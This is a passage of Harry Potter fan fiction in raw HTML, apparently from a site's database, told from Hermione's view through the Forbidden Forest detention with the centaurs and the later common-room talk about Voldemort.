shock and was now staring in awe at the majestic creature in\nfront of her.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ronan stared at\nher with large blue eyes that seemed to see her very soul.&nbsp; &#8220;Good evening; students are you? &nbsp;And do you learn much up at the school?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione was\ncaught in his gaze, almost transfixed.&nbsp;&nbsp;\n&#8220;A bit,&#8221; she managed to answer.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She wondered why\nhe had chosen to focus his attention on her instead of Harry.&nbsp; After all, he was the famous Harry\nPotter.&nbsp; She expected him to take some\nnotice of the scar on his head and be amazed that he was meeting the &#8216;boy who\nlived.&#8217; But Ronan was staring at her so hard she felt like the creature could\nread her very thoughts.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Finally he looked\naway from her and up at the night sky.&nbsp;\nHermione sighed again.&nbsp; She\nfinally realized she was sweating and wiped her brow.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hagrid tried to\nglean information from the centaur about the injured unicorn but it was a\nfutile effort.&nbsp; Hermione could tell that\nhe was definitely preoccupied with something because all he would ever say was\n&#8220;Mars is bright tonight.&#8221; It seemed like he was trying to tell them something\nwithout actually telling them.&nbsp; Centaurs\nwere extraordinarily wise creatures but kept their knowledge to themselves. &nbsp;She knew they could tell the future from the\nstars, but didn&#8217;t know enough about astronomy or divination to discern what the\nbrightness of Mars impacted.&nbsp; She\nsilently wished she had one of her books with her.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hagrid finally\nbecame impatient with Ronan and Hermione could tell that he was about to take\nhis leave when a second centaur appeared.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hello Bane; alright?&#8221; Hagrid greeted him. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Good-evening\nHagrid,&#8221; said Bane.&nbsp; He didn&#8217;t seem to\nnotice Hermione or Harry.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry elbowed\nHermione in the side. &#8220;Are you listening to me?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Huh?&#8221; Hermione\nlooked at him.&nbsp; She hadn&#8217;t even noticed\nhe was talking.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I was asking if\nyou knew much about centaurs.&nbsp; Terribly\nodd creatures, aren&#8217;t they?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I dunno,&#8217; Hermione admitted with a shrug. &#8220;I think they may\nbe trying to tell us something.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hagrid hadn&#8217;t\ngotten any new information from Bane so he dragged the two students off down\nthe forest trail.&nbsp; &#8220;Never try and get a\nstraight answer out of a centaur; ruddy star gazers.&#8221; he growled. &#8220;Not\ninterested in anything closer than the moon.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Are there many\nof them in here?&#8221; Hermione asked him.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hagrid nodded but\nkept his eyes on the path in front of them &#8220;Oh a fair few.&nbsp; Keep &#8216;emselves to\nthemselves mostly but their good enough about turning up whenever I want a word.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione thought\nabout this as Hagrid continued on. <i style="mso-bidi-font-style:normal">&#8220;Centaurs\ndon&#8217;t &#8216;turn up&#8217; for anyone. They&#8217;re known for being reclusive.&#8221;</i> She looked\nat the half-giant.&nbsp; What was it about\nHagrid that he had that much respect from these creatures?&nbsp;&nbsp; She thought about what he had said earlier.&nbsp; Nothing in the forest would hurt them as long\nas they were with him or Fang.&nbsp; She was\nbeginning to believe this now.&nbsp; Perhaps\nHagrid really did hold some secret to the forest.&nbsp; She wouldn&#8217;t be surprised if he even had\ninfluence over the werewolves that were reported to be lurking around.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Just as she began\nto reassure herself that they were safe, a distant noise caught her\nattention.&nbsp; She looked up in the night\nsky and saw red flashes some distance away. &#8220;Hagrid look; red sparks!&nbsp; The others are in trouble!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hagrid was quick\nto action. &#8220;You two wait here.&nbsp; Stay on\nthe path,&#8221; he warned again. &#8220;I&#8217;ll come back for yer.&#8221;\nHe started through the woods towards the sparks.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione felt\nanother chill as a cool breeze whipped through her hair.&nbsp; She tried to occupy her mind as she and Harry\nstood in the darkness waiting for Hagrid to return, but for the first time that\nnight, she couldn&#8217;t find anything to think about.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She looked at\nHarry.&nbsp; He was staring at her, a worried\nlook in his green eyes.&nbsp; She could tell\nwhat he was thinking and finally voiced the concern they both had on their\nminds. &#8220;You don&#8217;t think they&#8217;ve been hurt, do you?&#8221; she started timidly.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I don&#8217;t care if\nMalfoy has,&#8221; Harry said spitefully. &#8220;but if\nsomething&#8217;s got Neville&#8230; it&#8217;s our fault he&#8217;s here in the first place.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione nodded. <i style="mso-bidi-font-style:normal">&#8220;Poor Neville.</i><i style="mso-bidi-font-style:normal">&nbsp; He\ntries so hard and yet he always gets into trouble.&#8221;</i></p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Maybe&#8230;we should\ngo see what&#8217;s going on,&#8221; Harry said after a few more minutes of waiting.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No, Hagrid said\nto stay on the path.&nbsp; Are you crazy?&nbsp; We could get killed out here by ourselves.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry shifted\nfrom one foot to the other. &#8220;It&#8217;s just taking so long.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;This was such a\nbad idea,&#8221; Hermione muttered under her breath.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Finally Hagrid\nreturned and they were relieved to see that Fang, Neville, and even Malfoy were\nwith him.&nbsp; Hagrid however looked furious\nand Hermione soon found out why.&nbsp; Neville\nand Malfoy hadn&#8217;t been in any real danger.&nbsp;\nMalfoy had gotten bored and decided to sneak up on Neville from behind\nand Neville, in a rare display of wizarding aptitude, had instantly sent up red\nsparks.&nbsp; Hagrid switched the search\nparties.&nbsp; Harry would take Neville&#8217;s\nplace.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry gave an\naudible sigh as he, Malfoy, and Fang started into the heart of the forest.&nbsp; Hermione Neville and Hagrid went in the\nopposite direction.&nbsp; She glanced back at\nher retreating friend and saw that Harry had done the same.&nbsp; Their eyes locked for an instant and then\nthey both turned away.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Are you\nalright,&#8221; Hermione asked Neville finally.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Neville\nshrugged.&nbsp; He looked more\nangry than scared now. &#8220;I&#8217;m fine.&nbsp;\nI just hate it that that stupid git always\ngets the better of me.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m sorry,&#8221;\nHermione said. &#8220;This is all our fault.&nbsp; We never meant for any of this to happen and\nwe certainly didn&#8217;t want to get you into trouble. &nbsp;Harry would never do that you know.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah I guess.&#8221;\nNeville shrugged. &#8220;But he still shouldn&#8217;t have gotten all of us and Gryffindor\ninto so much trouble. I mean; I hate Malfoy too, but that practical joke went\ntoo far.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Neville,&#8221;\nHermione sighed. &#8220;It wasn&#8217;t a joke.&nbsp; We\nreally were sneaking a dragon up to the astronomy tower.&#8221; She figured it was\nsafe to tell him now since the only other person around was Hagrid, who knew\nonly too well what the truth was.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;That&#8217;s not\nfunny,&#8221; Neville said grumpily.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I know it&#8217;s not\nfunny, that&#8217;s because it&#8217;s the truth.&#8221; Hermione said matter-of-factly. &#8220;Ask\nHagrid.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Neville looked up\nat the gamekeeper who was trying his best to avoid the glare. &#8220;Er&#8230; she&#8217;s right.&nbsp; It\nwas&#8230; um&#8230; my dragon that got you all into trouble.&nbsp; I&#8217;m sorry.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What!&#8221; Neville\nalmost shouted. &#8220;You mean, all this time you three were hiding a dragon.&nbsp; You&#8217;re insane.&nbsp; You know their illegal don&#8217;t you?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes of course we\ndo; that&#8217;s why we were getting rid of it,&#8221; Hermione said irritably. &#8220;And it\nwould have gone smoothly if Malfoy hadn&#8217;t been trying to get us back for the\nnight party and for Ron hitting him at the quidditch game.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;That little\nrivalry is going to get ya&#8217;ll into a world of trouble,&#8221; Hagrid said.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Excuse me!&#8221;\nHermione snapped. &#8220;But if it weren&#8217;t for your obsession with dragons, none of\nthis would have even happened.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Uh, yeah&#8230; sorry\n&#8216;bout that,&#8221; Hagrid said sheepishly.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione finally\nasked the question that was weighing on her mind. &#8220;Why didn&#8217;t you stick up for\nus when we got in trouble?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8230; uh&#8230; I would\nhave,&#8221; Hagrid admitted. &#8220;But it&#8217;s just that.&nbsp;\nIf the Ministry of Magic found out, they might have thrown me in\nwizard&#8217;s prison.&nbsp; Dumbledore wouldn&#8217;t\nhave been able to help me.&nbsp; I&#8217;m sorry,&#8221;\nhe said again.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; No matter how\nangry she was with Hagrid, she didn&#8217;t want to see him go to prison.&nbsp; So she let it drop.&nbsp; No wonder Harry had stood by him all this\ntime.&nbsp; She knew he didn&#8217;t want that for\nHagrid either.&nbsp; They continued through\nthe forest in silence.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Ronan, yer back,&#8221; Hagrid called. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione looked\nup and saw that the centaur was once again in the path in front of them.&nbsp; He had the same sorrowful look on his face as\nbefore.&nbsp; He was staring directly at\nHermione again.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Anything wrong?&nbsp; Did\nyou see summat?&#8221; Hagrid asked when Ronan didn&#8217;t acknowledge\nhim.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ronan continued\nto ignore him but he walked closer to the trio, eyes still fixed on the young\nwitch. &#8220;You&#8217;re more special than you think.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Huh?&#8221; Hermione\nsaid.&nbsp; She couldn&#8217;t look away from his\neyes.&nbsp; They looked so sad and yet she\nknew the centaur was trying to communicate something to her, something he\ncouldn&#8217;t tell her in words.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;It will happen\nsoon and he will need you by his side when it does,&#8221; Ronan whispered to her.&nbsp; He looked up at the night sky again. &#8220;Yes&#8230;\nMars is bright tonight.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What will\nhappen?&#8221; Hermione asked breathlessly.&nbsp;\nShe didn&#8217;t need to ask who the &#8216;he&#8217; was that Ronan had referred\ntoo.&nbsp; There was only one person the\ncentaur could be talking about.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; There was a\ndistant noise which seemed to bring Ronan back to Earth. &#8220;Trouble brews in the\nforest.&nbsp; It is no longer safe for the\nlikes of you.&nbsp; I must go now.&#8221;&nbsp; And with that he took off into the dense\nforest without another word.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What in the\nworld&#8217;s goin&#8217; on?&#8221; Hagrid growled.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What was that\nnoise?&#8221; Neville was clutching Hermione&#8217;s robes now.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I don&#8217;t know but\nI have a bad feeling that Harry&#8217;s in trouble,&#8221; Hermione said gravely. &#8220;Maybe we\nshould go find them.&nbsp; It&#8217;s been almost a\nhalf hour and we still haven&#8217;t seen the unicorn.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; They heard a\nsudden crashing through the forest.&nbsp;\nHagrid raised his crossbow again but lowered it when he saw that it was\nonly Malfoy.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What&#8217;re you\ndoing here?&#8221; Hagrid asked angrily. &#8220;Where&#8217;s Harry?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;That&#8230; that thing\nprobably got him!&#8221; Malfoy said with a frightened squeal.&nbsp; He wasn&#8217;t even troubling to hide his fear\nthis time. &#8220;We found the unicorn.&nbsp; It&#8217;s\ndead and then this thing just came outta the woods. It attacked us.&nbsp; It almost killed me!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;And you just <i style="mso-bidi-font-style:normal">left</i> Harry to fend for himself,&#8221;\nHermione shouted at the boy.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;It&#8217;s not my\nfault he didn&#8217;t run.&nbsp; I&#8217;m not Potty&#8217;s\nlittle keeper,&#8221; Malfoy snarled at her.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;If anything\nhappens to him&#8230;&#8221; Hermione pulled out her wand and pointed it at his chest.\n&#8220;I&#8217;ll turn you into the weasel that you are.&nbsp;\nAnd don&#8217;t think I can&#8217;t do it,&#8221; she warned him.&nbsp; She really couldn&#8217;t but she knew he&#8217;d believe\nthe threat. &#8220;I don&#8217;t care how much trouble I get into.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Malfoy gulped but\nstood his ground. &#8220;Better a live weasel than a dead duck like your boyfriend\nPotter.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Stop it, both of\nya,&#8221; Hagrid ordered. &#8220;Where&#8217;s Harry?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Malfoy pointed\nwildly into the woods, &#8220;That way!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Fang suddenly\nappeared from amidst the trees now, making everyone jump a little.&nbsp; The dog was whimpering.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Ah, there you\nare,&#8221; Hagrid said relieved.&nbsp; He turned\nback to the three students. &#8220;Okay you lot get back to the castle.&nbsp; Fang here will lead the way. I&#8217;m going to go\nfind Harry.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m coming with\nyou,&#8221; Hermione said with more determination than she thought she had in her.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I don&#8217;t want anyone\nelse gettin&#8217; hurt,&#8221; Hagrid said.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione stood\nfast. &#8220;I want to make sure Harry&#8217;s okay.&nbsp;\nI&#8217;m coming with you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh alright then,\ncome on,&#8221; Hagrid sighed as he ushered Hermione into the forest with him.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Better you than\nme!&#8221; Malfoy called after them. &#8220;I&#8217;m not risking my neck for that stupid git.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh shut it,\nMalfoy.&#8221; Hermione heard Neville say as the two boys and the boarhound started\nback down the path.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione started\nrunning through the forest with Hagrid close behind her.&nbsp; She didn&#8217;t know where she was going or if it\nwas even the right direction.&nbsp; All she\nknew was that she wanted, no needed, to find\nHarry.&nbsp; Hagrid silently followed, never\ncorrecting her heading, so she figured he was as clueless as she was about\nwhere they were going.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;There&#8217;s a lot of\nblood up here,&#8221; Hermione said. &#8220;That probably means we&#8217;re near where they found\nthe unicorn.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; They heard voices\nin the distance. &#8220;That sounds like Firenze,&#8221; Hagrid said.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;And Harry!&#8221; Hermione added with glee.&nbsp; She took off towards the sound and finally\nhit another path.&nbsp; Several yards away she\ncould clearly see another centaur with Harry on its back.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She ran towards\nthem. &#8220;Harry!&nbsp; Harry are\nyou okay?&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m fine,&#8221; Harry\nsaid and she was relieved to see that whatever creature Malfoy had told them\nabout didn&#8217;t seem to have attacked Harry in any way. &nbsp;Still there was a definite look in his eyes\nthat told her all too clearly something had happened.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hagrid had\nfinally caught up.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;The unicorn&#8217;s\ndead Hagrid.&nbsp; It&#8217;s in the clearing back\nthere,&#8221; Harry said finally.&nbsp; Whatever had\nhappened, he didn&#8217;t seem to want to talk about it.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The centaur said\nsomething to Harry that Hermione couldn&#8217;t hear and then let him slide off his\nback.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Good luck, Harry\nPotter,&#8221; the centaur said before leaving. &#8220;The planets have been read wrongly\nbefore, even by centaurs.&nbsp; I hope this is\none of those times.&#8221;<br>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What was that all about,&#8221; Hermione\nasked him.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;It&#8217;s a long\nstory.&#8221; Harry whispered. &#8220;I&#8217;ll tell you when we get back up to the common room.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione didn&#8217;t\nthink she could wait that long but soon Hagrid returned from where the dead\nunicorn was and told them that they could finally leave the forest and return\nto their dormitories.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;If this is\ndetention, I&#8217;m never going to have another one as long as I live,&#8221; Harry said\nas they started back.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Maybe that was\nthe whole point,&#8221; Hermione mused.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(240, 16, '\n\n\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal">Chapter Summary:</b>&nbsp; We&#8217;re nearing the end.&nbsp; Hermione decides to take matters into her own\nhands but is it already too late?</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">--- Begin Fic Here\n---</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Harry, would you\nplease tell me what&#8217;s wrong?&#8221; Hermione pressed. &#8220;You&#8217;ve barely said a word.&#8221;\nThey were nearing the Gryffindor Tower entrance.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I will, as soon\nwe find Ron,&#8221; Harry told her.&nbsp; The fat\nlady was dozing in the portrait entrance. &#8220;Stupid Night Gits.&#8221; He hated the new\nGryffindor password.&nbsp; The portrait swung\nopen and they climbed in.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron was still in\nthe common room but he was fast asleep.&nbsp;\nHarry wasted no time in waking him as Hermione took another seat by the\ndying fire.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron yawned\nopenly. &#8220;Oy, how was detention?&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;It was fine\nuntil I almost got killed by Voldemort,&#8221; Harry said as he started pacing.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron sat up\nquickly, eyes wide. &#8220;Harry, that&#8217;s not funny, and don&#8217;t say the name.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione gasped.\n&#8220;You mean that thing&#8230; in the forest&#8230; that was Vold&#8230; I mean &#8216;you know who&#8217;?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry nodded.\n&#8220;He&#8217;s the one killing the unicorns.&nbsp; He&#8217;s\ndrinking their blood.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Ewwwww,&#8221; Ron\nshuddered.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Because it&#8217;s\nkeeping him alive,&#8221; Harry continued. &#8220;Don&#8217;t you see? &nbsp;Snape wants the stone for Voldemort and Voldemort&#8217;s\nwaiting in the forest.&nbsp; And all this time\nwe thought Snape just wanted to get rich.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Stop saying the\nname.&#8221; Ron seemed to go spastic every time Harry would mention the Dark Lord by\nname. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione hadn&#8217;t\ngrown up in the wizarding world so the fear of Voldemort&#8217;s name had no real\nimpact on her, but she had read that most wizards never mentioned him by name\nand so she knew to always say &#8220;you know who.&#8221;&nbsp;\nWhat bothered her was that now there was a new more important piece to\nthe puzzle.&nbsp; It wasn&#8217;t just Snape they\nhad to worry about; it was the Dark Lord himself.&nbsp; If he got his hands on the stone then he could\nreturn to full power.&nbsp; This was bigger\nthan anything they could have ever imagined.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i style="mso-bidi-font-style:normal">&#8220;All this time, I&#8217;ve been worried about\nstupid exams and studying when Voldemort&#8217;s only a stone throw&#8217;s away plotting\nto ravage the world again.&#8221;</i></p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry was ranting\nnow about how the centaurs were predicting Voldemort&#8217;s return by the movement\nof the stars and Hermione remembered what Ronan had said to her earlier that\nnight. <i style="mso-bidi-font-style:normal">&#8220;It will happen soon and he will\nneed you by his side when it does.&#8221;</i> Is this what he meant?</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry stopped\npacing and looked directly at Hermione, &#8220;So, all I&#8217;ve got to wait for now is\nSnape to steal the stone.&nbsp; Then Voldemort\nwill be able to come and finish me off.&nbsp; &nbsp;Well I suppose Bane&#8217;ll be happy.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione stared\nup at him and she saw the look of desperation in his eyes. &#8220;Harry,&#8221; she started\nslowly. &#8220;Everyone says Dumbledore&#8217;s the only one,&#8221; she glanced at Ron, &#8220;&#8217;you\nknow who&#8217; was ever afraid of.&nbsp; With\nDumbledore around, &#8216;you know who&#8217; won&#8217;t touch you.&nbsp; Anyway who says the centaurs are right.&nbsp; It sounds like fortune telling to me and\nProfessor McGonagall says that&#8217;s a very imprecise branch of magic.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry finally\nplopped down in a nearby armchair. &#8220;I don&#8217;t know, Hermione.&nbsp; We thought Snape wouldn&#8217;t try anything with\nDumbledore so close but we were wrong about that too.&nbsp; Voldemort&#8217;s desperate.&nbsp; He has a chance to get back to full strength\nand kill me once and for all.&nbsp; I don&#8217;t\nthink he&#8217;s going to let Dumbledore stop him.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Why do you\nsuppose he wants to kill you?&#8221; Ron asked, not troubling to tell Harry off again\nfor speaking Voldemort&#8217;s name.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I don&#8217;t know!&#8221;\nHarry said in frustration. &#8220;Maybe he&#8217;s mad that he couldn&#8217;t kill me the first\ntime.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Maybe he&#8217;s\nafraid of you,&#8221; Hermione offered. &#8220;Maybe there&#8217;s something about you that he&#8217;s\nafraid of.&nbsp; After all, you survived his\nkilling curse.&nbsp; No one has ever done that\nbefore.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What could\npossibly be special about me?&#8221; Harry sighed. &#8220;I&#8217;m nobody; I&#8217;m just a normal\nboy.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No you&#8217;re not,&#8221;\nRon objected. &#8220;You&#8217;re Harry Potter.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh Ron,&#8221;\nHermione chastised. &#8220;He may be famous to you, but Harry&#8217;s right.&nbsp; By all rights he shouldn&#8217;t have survived that\ncurse.&nbsp; There&#8217;s still no logical reason\nwhy he did.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;But maybe,&#8221; Ron\nstarted excitedly. &#8220;Maybe Harry has some sort of hidden power that we don&#8217;t\nknow about; something that can stop &#8216;you know who&#8217; and he found out about it or\nsomething and that&#8217;s why he keeps trying to kill Harry because he knows he can\nstop him.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well I wish I\nknew what it was so I could,&#8221; Harry said in a defeated sort of voice.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I really think we\nshould go to Dumbledore now,&#8221; Hermione pressed. &#8220;This is serious.&nbsp; If &#8216;you know who&#8217; is really out there, then\nDumbledore should know about it, before it&#8217;s too late.&#8221;</p>\n\n<p 